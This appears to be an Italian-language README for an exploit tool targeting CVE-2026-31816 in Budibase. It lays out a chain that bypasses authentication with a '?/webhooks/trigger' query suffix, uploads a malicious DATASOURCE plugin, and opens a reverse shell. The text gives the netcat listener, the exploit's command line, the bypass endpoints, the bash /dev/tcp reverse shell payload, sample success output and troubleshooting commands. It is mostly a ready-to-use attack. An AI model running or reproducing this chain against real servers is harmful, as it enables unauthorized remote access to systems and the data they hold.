
Sfrutta la CVE-2026-31816 in Budibase per bypassare l'autenticazione, caricare un plugin datasource dannoso ed eseguire una reverse shell per l'accesso remoto.
Questo strumento sfrutta la CVE-2026-31816 per stabilire una connessione reverse shell su un server Budibase di destinazione.
Catena di attacco: Bypass dell'autenticazione → Upload del plugin DATASOURCE → Esecuzione di codice lato server → Reverse Shell
requests (pip install requests)# 1. Avvia il listener sulla macchina dell'attaccante
nc -lvnp 4444
# 2. Esegui l'exploit (un altro terminale)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
| Parametro | Obbligatorio | Descrizione |
|---|---|---|
-t, --target | ✅ | URL Budibase di destinazione |
--lhost | ✅ | Host del listener (il tuo IP) |
--lport | ❌ | Porta del listener (predefinita: 4444) |
# IP dell'attaccante: 192.168.1.100
# Budibase di destinazione: 192.168.1.128:10000
# Terminale 1 - Avvia il listener
nc -lvnp 4444
# Terminale 2 - Esegui l'exploit
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
Se restituisce 200, il target è vulnerabile al bypass dell'autenticazione.
{
"type": "datasource",
"schema": { ... }
}
I plugin di tipo DATASOURCE eseguono codice JavaScript sul server.
// Eseguito quando il plugin viene validato:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
Carica il plugin bypassando l'autenticazione. Il codice viene eseguito durante la validazione.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attaccante │ │ Server │ │ Listener │
│ │ │ Target │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Upload │ │ │
│ │ │ Plugin │ │ │
│ │ │ Esegui │────►│ Ascolta │
│ │ │ Codice │◄────┤ Reverse │
│ │ │ │ │ Connect │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - Exploit Reverse Shell
============================================================
[*] Target: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444
[*] Verifica della vulnerabilità...
[+] Il target è vulnerabile!
[*] Creazione del plugin reverse shell verso 192.168.1.100:4444
[*] Upload del plugin reverse shell...
[*] Stato: 200
[+] Plugin installato con successo!
============================================================
[+] SUCCESSO! Controlla il tuo listener!
============================================================
Possibili cause:
Soluzioni:
# Verifica la connettività di rete
ping YOUR_IP
# Controlla il firewall
sudo ufw allow 4444/tcp
# Prova una porta diversa
nc -lvnp 8080
Possibili cause:
Soluzioni:
# Verifica manualmente se la vulnerabilità esiste
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# Se restituisce JSON, la vulnerabilità esiste